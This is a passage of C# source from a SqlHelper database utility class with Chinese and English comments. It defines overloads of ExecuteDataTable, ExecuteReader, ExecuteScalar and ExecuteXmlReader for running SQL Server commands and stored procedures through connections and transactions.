            return ExecuteDataTable(transaction, commandType, commandText, (SqlParameter[])null);
        }

        /// <summary>
        /// 通过事务执行命令对象,返回数据集
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  DataTable dt = ExecuteDataTable(trans, CommandType.StoredProcedure, "GetOrders", new SqlParameter("@prodid", 24));
        /// </remarks>
        /// <param name="transaction">合法的事务</param>
        /// <param name="commandType">命令类型 (stored procedure, text, 等)</param>
        /// <param name="commandText">存储过程名字或sql命令</param>
        /// <param name="commandParameters">SqlParamter数组</param>
        /// <returns>数据集</returns>
        public static DataTable ExecuteDataTable(SqlTransaction transaction, CommandType commandType, string commandText, params SqlParameter[] commandParameters)
        {
            if (transaction == null) throw new ArgumentNullException("transaction");
            if (transaction != null && transaction.Connection == null) throw new ArgumentException("The transaction was rollbacked or commited, please provide an open transaction.", "transaction");

            // Create a command and prepare it for execution
            SqlCommand cmd = new SqlCommand();
            bool mustCloseConnection = false;
            PrepareCommand(cmd, transaction.Connection, transaction, commandType, commandText, commandParameters, out mustCloseConnection);

            // Create the DataAdapter & DataSet
            using (SqlDataAdapter da = new SqlDataAdapter(cmd))
            {
                DataTable dt = new DataTable();
                // Fill the DataSet using default values for DataTable names, etc
                da.Fill(dt);

                // Detach the SqlParameters from the command object, so they can be used again
                cmd.Parameters.Clear();

                // Return the dataset
                return dt;
            }
        }

        /// <summary>
        /// 利用事务,通过SqlCommand执行存储过程 
        /// </summary>
        /// <remarks>

        /// 例子: 
        ///  DataTable dt = ExecuteDataTable(trans, "GetOrders", 24, 36);
        /// </remarks>
        /// <param name="transaction">合法的事务</param>
        /// <param name="spName">存储过程名字</param>
        /// <param name="parameterValues">分配给存储过程作为输入参数的对象数组</param>
        /// <returns>数据集</returns>
        public static DataTable ExecuteDataTable(SqlTransaction transaction, string spName, params object[] parameterValues)
        {
            if (transaction == null) throw new ArgumentNullException("transaction");
            if (transaction != null && transaction.Connection == null) throw new ArgumentException("The transaction was rollbacked or commited, please provide an open transaction.", "transaction");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If we receive parameter values, we need to figure out where they go
            if ((parameterValues != null) && (parameterValues.Length > 0))
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(transaction.Connection, spName);

                // Assign the provided values to these parameters based on parameter order
                AssignParameterValues(commandParameters, parameterValues);

                // Call the overload that takes SqlParamters数组
                return ExecuteDataTable(transaction, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                // Otherwise we can just call the SP without params
                return ExecuteDataTable(transaction, CommandType.StoredProcedure, spName);
            }
        }

        #endregion ExecuteDataTable

        #region ExecuteReader

        /// <summary>
        /// 决定连通接着关闭的方式
        /// </summary>
        private enum SqlConnectionOwnership
        {
            /// <summary>连接属于SqlHelper并由它管理</summary>
            Internal,
            /// <summary>连接属于SqlHelper的调用者并由它管理</summary>
            External
        }
        /// <summary>
        /// Create and prepare a SqlCommand, and call ExecuteReader with the appropriate CommandBehavior.
        /// </summary>
        /// <remarks>
        /// If we created and opened the connection, we want the connection to be closed when the DataReader is closed.
        /// 
        /// If the caller provided the connection, we want to leave it to them to manage.
        /// </remarks>
        /// <param name="connection">合法的连接</param>
        /// <param name="transaction">合法的事务或null</param>
        /// <param name="commandType">The CommandType (stored procedure, text, etc.)</param>
        /// <param name="commandText">存储过程的名字或sql命令</param>
        /// <param name="commandParameters">SqlParamters数组 to be associated with the command or 'null' if no parameters are required</param>
        /// <param name="connectionOwnership">Indicates whether the connection parameter was provided by the caller, or created by SqlHelper</param>
        /// <returns>SqlDataReader containing the results of the command</returns>
        private static SqlDataReader ExecuteReader(SqlConnection connection, SqlTransaction transaction, CommandType commandType, string commandText, SqlParameter[] commandParameters, SqlConnectionOwnership connectionOwnership)
        {
            if (connection == null) throw new ArgumentNullException("connection");

            bool mustCloseConnection = false;
            // Create a command and prepare it for execution
            SqlCommand cmd = new SqlCommand();
            try
            {
                PrepareCommand(cmd, connection, transaction, commandType, commandText, commandParameters, out mustCloseConnection);

                // Create a reader
                SqlDataReader dataReader;

                // Call ExecuteReader with the appropriate CommandBehavior
                if (connectionOwnership == SqlConnectionOwnership.External)
                {
                    dataReader = cmd.ExecuteReader();
                }
                else
                {
                    dataReader = cmd.ExecuteReader(CommandBehavior.CloseConnection);
                }

                // Detach the SqlParameters from the command object, so they can be used again.
                // HACK: There is a problem here, the output parameter values are fletched 
                // when the reader is closed, so if the parameters are detached from the command
                // then the SqlReader can磘 set its values. 
                // When this happen, the parameters can磘 be used again in other command.
                bool canClear = true;
                foreach (SqlParameter commandParameter in cmd.Parameters)
                {
                    if (commandParameter.Direction != ParameterDirection.Input)
                        canClear = false;
                }

                if (canClear)
                {
                    cmd.Parameters.Clear();
                }

                return dataReader;
            }
            catch
            {
                if (mustCloseConnection)
                    connection.Close();
                throw;
            }
        }

        /// <summary>
        /// Execute a SqlCommand (that returns a resultset and takes no parameters) against the database specified in 
        /// the connection string. 
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  SqlDataReader dr = ExecuteReader(connString, CommandType.StoredProcedure, "GetOrders");
        /// </remarks>
        /// <param name="connectionString">合法的连接</param>
        /// <param name="commandType">The CommandType (stored procedure, text, etc.)</param>
        /// <param name="commandText">存储过程的名字或sql命令</param>
        /// <returns>SqlDataReader</returns>
        public static SqlDataReader ExecuteReader(string connectionString, CommandType commandType, string commandText)
        {
            // Pass through the call providing null for the set of SqlParameters
            return ExecuteReader(connectionString, commandType, commandText, (SqlParameter[])null);
        }
        public static SqlDataReader ExecuteReader(CommandType commandType, string commandText)
        {
            return ExecuteReader(ConnectionString, commandType, commandText);
        }
        public static SqlDataReader ExecuteReader(CommandType commandType, string commandText, params SqlParameter[] commandParameters)
        {
            return ExecuteReader(ConnectionString, commandType, commandText, commandParameters);
        }
        /// <summary>
        /// Execute a SqlCommand (that returns a resultset) against the database specified in the connection string 
        /// using the provided parameters.
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  SqlDataReader dr = ExecuteReader(connString, CommandType.StoredProcedure, "GetOrders", new SqlParameter("@prodid", 24));
        /// </remarks>
        /// <param name="connectionString">合法的连接</param>
        /// <param name="commandType">The CommandType (stored procedure, text, etc.)</param>
        /// <param name="commandText">存储过程的名字或sql命令</param>
        /// <param name="commandParameters">SqlParamters数组 used to execute the command</param>
        /// <returns>SqlDataReader</returns>
        public static SqlDataReader ExecuteReader(string connectionString, CommandType commandType, string commandText, params SqlParameter[] commandParameters)
        {
            if (connectionString == null || connectionString.Length == 0) throw new ArgumentNullException("connectionString");
            SqlConnection connection = null;
            try
            {
                connection = new SqlConnection(connectionString);
                connection.Open();

                // Call the private overload that takes an internally owned connection in place of the connection string
                return ExecuteReader(connection, null, commandType, commandText, commandParameters, SqlConnectionOwnership.Internal);
            }
            catch
            {
                // If we fail to return the SqlDatReader, we need to close the connection ourselves
                if (connection != null) connection.Close();
                throw;
            }

        }

        /// <summary>
        /// Execute a stored procedure via a SqlCommand (that returns a resultset) against the database specified in 
        /// the connection string using the provided parameter values.  This method will query the database to discover the parameters for the 
        /// stored procedure (the first time each stored procedure is called), and assign the values based on parameter order.
        /// </summary>
        /// <remarks>
        /// This method provides no access to output parameters or the stored procedure's return value parameter.
        /// 
        /// 例子: 
        ///  SqlDataReader dr = ExecuteReader(connString, "GetOrders", 24, 36);
        /// </remarks>
        /// <param name="connectionString">合法的连接</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="parameterValues">An array of objects to be assigned as the input values of the stored procedure</param>
        /// <returns>SqlDataReader</returns>
        public static SqlDataReader ExecuteReader(string connectionString, string spName, params object[] parameterValues)
        {
            if (connectionString == null || connectionString.Length == 0) throw new ArgumentNullException("connectionString");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If we receive parameter values, we need to figure out where they go
            if ((parameterValues != null) && (parameterValues.Length > 0))
            {
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(connectionString, spName);

                AssignParameterValues(commandParameters, parameterValues);

                return ExecuteReader(connectionString, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                // Otherwise we can just call the SP without params
                return ExecuteReader(connectionString, CommandType.StoredProcedure, spName);
            }
        }

        /// <summary>
        /// Execute a SqlCommand (that returns a resultset and takes no parameters) against the provided SqlConnection. 
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  SqlDataReader dr = ExecuteReader(conn, CommandType.StoredProcedure, "GetOrders");
        /// </remarks>
        /// <param name="connection">A valid SqlConnection</param>
        /// <param name="commandType">The CommandType (stored procedure, text, etc.)</param>
        /// <param name="commandText">存储过程的名字或sql命令</param>
        /// <returns>SqlDataReader</returns>
        public static SqlDataReader ExecuteReader(SqlConnection connection, CommandType commandType, string commandText)
        {
            // Pass through the call providing null for the set of SqlParameters
            return ExecuteReader(connection, commandType, commandText, (SqlParameter[])null);
        }

        /// <summary>
        /// Execute a SqlCommand (that returns a resultset) against the specified SqlConnection 
        /// using the provided parameters.
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  SqlDataReader dr = ExecuteReader(conn, CommandType.StoredProcedure, "GetOrders", new SqlParameter("@prodid", 24));
        /// </remarks>
        /// <param name="connection">A valid SqlConnection</param>
        /// <param name="commandType">The CommandType (stored procedure, text, etc.)</param>
        /// <param name="commandText">存储过程的名字或sql命令</param>
        /// <param name="commandParameters">SqlParamters数组 used to execute the command</param>
        /// <returns>SqlDataReader</returns>
        public static SqlDataReader ExecuteReader(SqlConnection connection, CommandType commandType, string commandText, params SqlParameter[] commandParameters)
        {
            // Pass through the call to the private overload using a null transaction value and an externally owned connection
            return ExecuteReader(connection, (SqlTransaction)null, commandType, commandText, commandParameters, SqlConnectionOwnership.External);
        }

        /// <summary>
        /// Execute a stored procedure via a SqlCommand (that returns a resultset) against the specified SqlConnection 
        /// using the provided parameter values.  This method will query the database to discover the parameters for the 
        /// stored procedure (the first time each stored procedure is called), and assign the values based on parameter order.
        /// </summary>
        /// <remarks>
        /// This method provides no access to output parameters or the stored procedure's return value parameter.
        /// 
        /// 例子: 
        ///  SqlDataReader dr = ExecuteReader(conn, "GetOrders", 24, 36);
        /// </remarks>
        /// <param name="connection">A valid SqlConnection</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="parameterValues">An array of objects to be assigned as the input values of the stored procedure</param>
        /// <returns>SqlDataReader</returns>
        public static SqlDataReader ExecuteReader(SqlConnection connection, string spName, params object[] parameterValues)
        {
            if (connection == null) throw new ArgumentNullException("connection");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If we receive parameter values, we need to figure out where they go
            if ((parameterValues != null) && (parameterValues.Length > 0))
            {
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(connection, spName);

                AssignParameterValues(commandParameters, parameterValues);

                return ExecuteReader(connection, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                // Otherwise we can just call the SP without params
                return ExecuteReader(connection, CommandType.StoredProcedure, spName);
            }
        }

        /// <summary>
        /// Execute a SqlCommand (that returns a resultset and takes no parameters) against the provided SqlTransaction. 
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  SqlDataReader dr = ExecuteReader(trans, CommandType.StoredProcedure, "GetOrders");
        /// </remarks>
        /// <param name="transaction">A valid SqlTransaction</param>
        /// <param name="commandType">The CommandType (stored procedure, text, etc.)</param>
        /// <param name="commandText">存储过程的名字或sql命令</param>
        /// <returns>SqlDataReader</returns>
        public static SqlDataReader ExecuteReader(SqlTransaction transaction, CommandType commandType, string commandText)
        {
            // Pass through the call providing null for the set of SqlParameters
            return ExecuteReader(transaction, commandType, commandText, (SqlParameter[])null);
        }

        /// <summary>
        /// Execute a SqlCommand (that returns a resultset) against the specified SqlTransaction
        /// using the provided parameters.
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///   SqlDataReader dr = ExecuteReader(trans, CommandType.StoredProcedure, "GetOrders", new SqlParameter("@prodid", 24));
        /// </remarks>
        /// <param name="transaction">A valid SqlTransaction</param>
        /// <param name="commandType">The CommandType (stored procedure, text, etc.)</param>
        /// <param name="commandText">存储过程的名字或sql命令</param>
        /// <param name="commandParameters">SqlParamters数组 used to execute the command</param>
        /// <returns>SqlDataReader</returns>
        public static SqlDataReader ExecuteReader(SqlTransaction transaction, CommandType commandType, string commandText, params SqlParameter[] commandParameters)
        {
            if (transaction == null) throw new ArgumentNullException("transaction");
            if (transaction != null && transaction.Connection == null) throw new ArgumentException("The transaction was rollbacked or commited, please provide an open transaction.", "transaction");

            // Pass through to private overload, indicating that the connection is owned by the caller
            return ExecuteReader(transaction.Connection, transaction, commandType, commandText, commandParameters, SqlConnectionOwnership.External);
        }

        /// <summary>
        /// Execute a stored procedure via a SqlCommand (that returns a resultset) against the specified
        /// SqlTransaction using the provided parameter values.  This method will query the database to discover the parameters for the 
        /// stored procedure (the first time each stored procedure is called), and assign the values based on parameter order.
        /// </summary>
        /// <remarks>
        /// This method provides no access to output parameters or the stored procedure's return value parameter.
        /// 
        /// 例子: 
        ///  SqlDataReader dr = ExecuteReader(trans, "GetOrders", 24, 36);
        /// </remarks>
        /// <param name="transaction">A valid SqlTransaction</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="parameterValues">An array of objects to be assigned as the input values of the stored procedure</param>
        /// <returns>SqlDataReader</returns>
        public static SqlDataReader ExecuteReader(SqlTransaction transaction, string spName, params object[] parameterValues)
        {
            if (transaction == null) throw new ArgumentNullException("transaction");
            if (transaction != null && transaction.Connection == null) throw new ArgumentException("The transaction was rollbacked or commited, please provide an open transaction.", "transaction");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If we receive parameter values, we need to figure out where they go
            if ((parameterValues != null) && (parameterValues.Length > 0))
            {
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(transaction.Connection, spName);

                AssignParameterValues(commandParameters, parameterValues);

                return ExecuteReader(transaction, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                // Otherwise we can just call the SP without params
                return ExecuteReader(transaction, CommandType.StoredProcedure, spName);
            }
        }

        #endregion ExecuteReader

        #region ExecuteScalar

        /// <summary>
        /// Execute a SqlCommand (that returns a 1x1 resultset and takes no parameters) against the database specified in 
        /// the connection string. 
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  int orderCount = (int)ExecuteScalar(connString, CommandType.StoredProcedure, "GetOrderCount");
        /// </remarks>
        /// <param name="connectionString">合法的连接</param>
        /// <param name="commandType">The CommandType (stored procedure, text, etc.)</param>
        /// <param name="commandText">存储过程的名字或sql命令</param>
        /// <returns>对象</returns>
        public static object ExecuteScalar(string connectionString, CommandType commandType, string commandText)
        {
            // Pass through the call providing null for the set of SqlParameters
            return ExecuteScalar(connectionString, commandType, commandText, (SqlParameter[])null);
        }
        public static object ExecuteScalar(CommandType commandType, string commandText)
        {
            return ExecuteScalar(ConnectionString, commandType, commandText);
        }
        public static object ExecuteScalar(CommandType commandType, string commandText, params SqlParameter[] commandParameters)
        {
            return ExecuteScalar(ConnectionString, commandType, commandText, commandParameters);
        }

        /// <summary>
        /// Execute a SqlCommand (that returns a 1x1 resultset) against the database specified in the connection string 
        /// using the provided parameters.
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  int orderCount = (int)ExecuteScalar(connString, CommandType.StoredProcedure, "GetOrderCount", new SqlParameter("@prodid", 24));
        /// </remarks>
        /// <param name="connectionString">合法的连接</param>
        /// <param name="commandType">The CommandType (stored procedure, text, etc.)</param>
        /// <param name="commandText">存储过程的名字或sql命令</param>
        /// <param name="commandParameters">SqlParamters数组 used to execute the command</param>
        /// <returns>对象</returns>
        public static object ExecuteScalar(string connectionString, CommandType commandType, string commandText, params SqlParameter[] commandParameters)
        {
            if (connectionString == null || connectionString.Length == 0) throw new ArgumentNullException("connectionString");
            // Create & open a SqlConnection, and dispose of it after we are done
            using (SqlConnection connection = new SqlConnection(connectionString))
            {
                connection.Open();

                // Call the overload that takes a connection in place of the connection string
                return ExecuteScalar(connection, commandType, commandText, commandParameters);
            }
        }

        /// <summary>
        /// Execute a stored procedure via a SqlCommand (that returns a 1x1 resultset) against the database specified in 
        /// the connection string using the provided parameter values.  This method will query the database to discover the parameters for the 
        /// stored procedure (the first time each stored procedure is called), and assign the values based on parameter order.
        /// </summary>
        /// <remarks>
        /// This method provides no access to output parameters or the stored procedure's return value parameter.
        /// 
        /// 例子: 
        ///  int orderCount = (int)ExecuteScalar(connString, "GetOrderCount", 24, 36);
        /// </remarks>
        /// <param name="connectionString">合法的连接</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="parameterValues">An array of objects to be assigned as the input values of the stored procedure</param>
        /// <returns>对象</returns>
        public static object ExecuteScalar(string connectionString, string spName, params object[] parameterValues)
        {
            if (connectionString == null || connectionString.Length == 0) throw new ArgumentNullException("connectionString");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If we receive parameter values, we need to figure out where they go
            if ((parameterValues != null) && (parameterValues.Length > 0))
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(connectionString, spName);

                // Assign the provided values to these parameters based on parameter order
                AssignParameterValues(commandParameters, parameterValues);

                // Call the overload that takes SqlParamters数组
                return ExecuteScalar(connectionString, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                // Otherwise we can just call the SP without params
                return ExecuteScalar(connectionString, CommandType.StoredProcedure, spName);
            }
        }

        /// <summary>
        /// Execute a SqlCommand (that returns a 1x1 resultset and takes no parameters) against the provided SqlConnection. 
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  int orderCount = (int)ExecuteScalar(conn, CommandType.StoredProcedure, "GetOrderCount");
        /// </remarks>
        /// <param name="connection">A valid SqlConnection</param>
        /// <param name="commandType">The CommandType (stored procedure, text, etc.)</param>
        /// <param name="commandText">存储过程的名字或sql命令</param>
        /// <returns>对象</returns>
        public static object ExecuteScalar(SqlConnection connection, CommandType commandType, string commandText)
        {
            // Pass through the call providing null for the set of SqlParameters
            return ExecuteScalar(connection, commandType, commandText, (SqlParameter[])null);
        }

        /// <summary>
        /// Execute a SqlCommand (that returns a 1x1 resultset) against the specified SqlConnection 
        /// using the provided parameters.
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  int orderCount = (int)ExecuteScalar(conn, CommandType.StoredProcedure, "GetOrderCount", new SqlParameter("@prodid", 24));
        /// </remarks>
        /// <param name="connection">A valid SqlConnection</param>
        /// <param name="commandType">The CommandType (stored procedure, text, etc.)</param>
        /// <param name="commandText">存储过程的名字或sql命令</param>
        /// <param name="commandParameters">SqlParamters数组 used to execute the command</param>
        /// <returns>对象</returns>
        public static object ExecuteScalar(SqlConnection connection, CommandType commandType, string commandText, params SqlParameter[] commandParameters)
        {
            if (connection == null) throw new ArgumentNullException("connection");

            // Create a command and prepare it for execution
            SqlCommand cmd = new SqlCommand();

            bool mustCloseConnection = false;
            PrepareCommand(cmd, connection, (SqlTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);

            // Execute the command & return the results
            object retval = cmd.ExecuteScalar();

            // Detach the SqlParameters from the command object, so they can be used again
            cmd.Parameters.Clear();

            if (mustCloseConnection)
                connection.Close();

            return retval;
        }

        /// <summary>
        /// Execute a stored procedure via a SqlCommand (that returns a 1x1 resultset) against the specified SqlConnection 
        /// using the provided parameter values.  This method will query the database to discover the parameters for the 
        /// stored procedure (the first time each stored procedure is called), and assign the values based on parameter order.
        /// </summary>
        /// <remarks>
        /// This method provides no access to output parameters or the stored procedure's return value parameter.
        /// 
        /// 例子: 
        ///  int orderCount = (int)ExecuteScalar(conn, "GetOrderCount", 24, 36);
        /// </remarks>
        /// <param name="connection">A valid SqlConnection</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="parameterValues">An array of objects to be assigned as the input values of the stored procedure</param>
        /// <returns>对象</returns>
        public static object ExecuteScalar(SqlConnection connection, string spName, params object[] parameterValues)
        {
            if (connection == null) throw new ArgumentNullException("connection");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If we receive parameter values, we need to figure out where they go
            if ((parameterValues != null) && (parameterValues.Length > 0))
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(connection, spName);

                // Assign the provided values to these parameters based on parameter order
                AssignParameterValues(commandParameters, parameterValues);

                // Call the overload that takes SqlParamters数组
                return ExecuteScalar(connection, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                // Otherwise we can just call the SP without params
                return ExecuteScalar(connection, CommandType.StoredProcedure, spName);
            }
        }

        /// <summary>
        /// Execute a SqlCommand (that returns a 1x1 resultset and takes no parameters) against the provided SqlTransaction. 
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  int orderCount = (int)ExecuteScalar(trans, CommandType.StoredProcedure, "GetOrderCount");
        /// </remarks>
        /// <param name="transaction">A valid SqlTransaction</param>
        /// <param name="commandType">The CommandType (stored procedure, text, etc.)</param>
        /// <param name="commandText">存储过程的名字或sql命令</param>
        /// <returns>对象</returns>
        public static object ExecuteScalar(SqlTransaction transaction, CommandType commandType, string commandText)
        {
            // Pass through the call providing null for the set of SqlParameters
            return ExecuteScalar(transaction, commandType, commandText, (SqlParameter[])null);
        }

        /// <summary>
        /// Execute a SqlCommand (that returns a 1x1 resultset) against the specified SqlTransaction
        /// using the provided parameters.
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  int orderCount = (int)ExecuteScalar(trans, CommandType.StoredProcedure, "GetOrderCount", new SqlParameter("@prodid", 24));
        /// </remarks>
        /// <param name="transaction">A valid SqlTransaction</param>
        /// <param name="commandType">The CommandType (stored procedure, text, etc.)</param>
        /// <param name="commandText">存储过程的名字或sql命令</param>
        /// <param name="commandParameters">SqlParamters数组 used to execute the command</param>
        /// <returns>对象</returns>
        public static object ExecuteScalar(SqlTransaction transaction, CommandType commandType, string commandText, params SqlParameter[] commandParameters)
        {
            if (transaction == null) throw new ArgumentNullException("transaction");
            if (transaction != null && transaction.Connection == null) throw new ArgumentException("The transaction was rollbacked or commited, please provide an open transaction.", "transaction");

            // Create a command and prepare it for execution
            SqlCommand cmd = new SqlCommand();
            bool mustCloseConnection = false;
            PrepareCommand(cmd, transaction.Connection, transaction, commandType, commandText, commandParameters, out mustCloseConnection);

            // Execute the command & return the results
            object retval = cmd.ExecuteScalar();

            // Detach the SqlParameters from the command object, so they can be used again
            cmd.Parameters.Clear();
            return retval;
        }

        /// <summary>
        /// Execute a stored procedure via a SqlCommand (that returns a 1x1 resultset) against the specified
        /// SqlTransaction using the provided parameter values.  This method will query the database to discover the parameters for the 
        /// stored procedure (the first time each stored procedure is called), and assign the values based on parameter order.
        /// </summary>
        /// <remarks>
        /// This method provides no access to output parameters or the stored procedure's return value parameter.
        /// 
        /// 例子: 
        ///  int orderCount = (int)ExecuteScalar(trans, "GetOrderCount", 24, 36);
        /// </remarks>
        /// <param name="transaction">A valid SqlTransaction</param>
        /// <param name="spName">存储过程的名字</param>
        /// <param name="parameterValues">An array of objects to be assigned as the input values of the stored procedure</param>
        /// <returns>对象</returns>
        public static object ExecuteScalar(SqlTransaction transaction, string spName, params object[] parameterValues)
        {
            if (transaction == null) throw new ArgumentNullException("transaction");
            if (transaction != null && transaction.Connection == null) throw new ArgumentException("The transaction was rollbacked or commited, please provide an open transaction.", "transaction");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If we receive parameter values, we need to figure out where they go
            if ((parameterValues != null) && (parameterValues.Length > 0))
            {
                // PPull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(transaction.Connection, spName);

                // Assign the provided values to these parameters based on parameter order
                AssignParameterValues(commandParameters, parameterValues);

                // Call the overload that takes SqlParamters数组
                return ExecuteScalar(transaction, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                // Otherwise we can just call the SP without params
                return ExecuteScalar(transaction, CommandType.StoredProcedure, spName);
            }
        }

        #endregion ExecuteScalar

        #region ExecuteXmlReader
        /// <summary>
        /// Execute a SqlCommand (that returns a resultset and takes no parameters) against the provided SqlConnection. 
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  XmlReader r = ExecuteXmlReader(conn, CommandType.StoredProcedure, "GetOrders");
        /// </remarks>
        /// <param name="connection">A valid SqlConnection</param>
        /// <param name="commandType">The CommandType (stored procedure, text, etc.)</param>
        /// <param name="commandText">存储过程的名字或sql命令 using "FOR XML AUTO"</param>
        /// <returns>An XmlReader containing the resultset generated by the command</returns>
        public static XmlReader ExecuteXmlReader(SqlConnection connection, CommandType commandType, string commandText)
        {
            // Pass through the call providing null for the set of SqlParameters
            return ExecuteXmlReader(connection, commandType, commandText, (SqlParameter[])null);
        }

        /// <summary>
        /// Execute a SqlCommand (that returns a resultset) against the specified SqlConnection 
        /// using the provided parameters.
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  XmlReader r = ExecuteXmlReader(conn, CommandType.StoredProcedure, "GetOrders", new SqlParameter("@prodid", 24));
        /// </remarks>
        /// <param name="connection">A valid SqlConnection</param>
        /// <param name="commandType">The CommandType (stored procedure, text, etc.)</param>
        /// <param name="commandText">存储过程的名字或sql命令 using "FOR XML AUTO"</param>
        /// <param name="commandParameters">SqlParamters数组 used to execute the command</param>
        /// <returns>An XmlReader containing the resultset generated by the command</returns>
        public static XmlReader ExecuteXmlReader(SqlConnection connection, CommandType commandType, string commandText, params SqlParameter[] commandParameters)
        {
            if (connection == null) throw new ArgumentNullException("connection");

            bool mustCloseConnection = false;
            // Create a command and prepare it for execution
            SqlCommand cmd = new SqlCommand();
            try
            {
                PrepareCommand(cmd, connection, (SqlTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);

                // Create the DataAdapter & DataTable
                XmlReader retval = cmd.ExecuteXmlReader();

                // Detach the SqlParameters from the command object, so they can be used again
                cmd.Parameters.Clear();

                return retval;
            }
            catch
            {
                if (mustCloseConnection)
                    connection.Close();
                throw;
            }
        }

        /// <summary>
        /// Execute a stored procedure via a SqlCommand (that returns a resultset) against the specified SqlConnection 
        /// using the provided parameter values.  This method will query the database to discover the parameters for the 
        /// stored procedure (the first time each stored procedure is called), and assign the values based on parameter order.
        /// </summary>
        /// <remarks>
        /// This method provides no access to output parameters or the stored procedure's return value parameter.
        /// 
        /// 例子: 
        ///  XmlReader r = ExecuteXmlReader(conn, "GetOrders", 24, 36);
        /// </remarks>
        /// <param name="connection">A valid SqlConnection</param>
        /// <param name="spName">存储过程的名字 using "FOR XML AUTO"</param>
        /// <param name="parameterValues">An array of objects to be assigned as the input values of the stored procedure</param>
        /// <returns>An XmlReader containing the resultset generated by the command</returns>
        public static XmlReader ExecuteXmlReader(SqlConnection connection, string spName, params object[] parameterValues)
        {
            if (connection == null) throw new ArgumentNullException("connection");
            if (spName == null || spName.Length == 0) throw new ArgumentNullException("spName");

            // If we receive parameter values, we need to figure out where they go
            if ((parameterValues != null) && (parameterValues.Length > 0))
            {
                // Pull the parameters for this stored procedure from the parameter cache (or discover them & populate the cache)
                SqlParameter[] commandParameters = SqlHelperParameterCache.GetSpParameterSet(connection, spName);

                // Assign the provided values to these parameters based on parameter order
                AssignParameterValues(commandParameters, parameterValues);

                // Call the overload that takes SqlParamters数组
                return ExecuteXmlReader(connection, CommandType.StoredProcedure, spName, commandParameters);
            }
            else
            {
                // Otherwise we can just call the SP without params
                return ExecuteXmlReader(connection, CommandType.StoredProcedure, spName);
            }
        }

        /// <summary>
        /// Execute a SqlCommand (that returns a resultset and takes no parameters) against the provided SqlTransaction. 
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  XmlReader r = ExecuteXmlReader(trans, CommandType.StoredProcedure, "GetOrders");
        /// </remarks>
        /// <param name="transaction">A valid SqlTransaction</param>
        /// <param name="commandType">The CommandType (stored procedure, text, etc.)</param>
        /// <param name="commandText">存储过程的名字或sql命令 using "FOR XML AUTO"</param>
        /// <returns>An XmlReader containing the resultset generated by the command</returns>
        public static XmlReader ExecuteXmlReader(SqlTransaction transaction, CommandType commandType, string commandText)
        {
            // Pass through the call providing null for the set of SqlParameters
            return ExecuteXmlReader(transaction, commandType, commandText, (SqlParameter[])null);
        }

        /// <summary>
        /// Execute a SqlCommand (that returns a resultset) against the specified SqlTransaction
        /// using the provided parameters.
        /// </summary>
        /// <remarks>
        /// 例子: 
        ///  XmlReader r = ExecuteXmlReader(trans, CommandType.StoredProcedure, "GetOrders", new SqlParameter("@prodid", 24));
        /// </remarks>
        /// <param name="transaction">A valid SqlTransaction</param>
        /// <param name="commandType">The CommandType (stored procedure, text, etc.)</param>
        /// <param name="commandText">存储过程的名字或sql命令 using "FOR XML AUTO"</param>
        /// <param name="commandParameters">SqlParamters数组 used to execute the command</param>
        /// <returns>An XmlReader containing the resultset generated by the command</returns>
        public static XmlReader ExecuteXmlReader(SqlTransaction transaction, CommandType commandType, string commandText, params SqlParameter[] commandParameters)
        {
            if (transaction == null) throw new ArgumentNullException("transaction");
            if (transaction != null && transaction.Connection == null) throw new ArgumentException("The transaction was rollbacked or commited, please provide an open transaction.", "transaction");

            // Create a command and prepare it for execution
            SqlCommand cmd = new SqlCommand();
            bool mustCloseConnection = false;
            PrepareCommand(cmd, transaction.Connection, transaction, commandType, commandText, commandParameters, out mustCloseConnection);

            // Create the DataAdapter & DataTable
            XmlReader retval = cmd.ExecuteXmlReader();

            // Detach the SqlParameters from the command object, so they can be used again
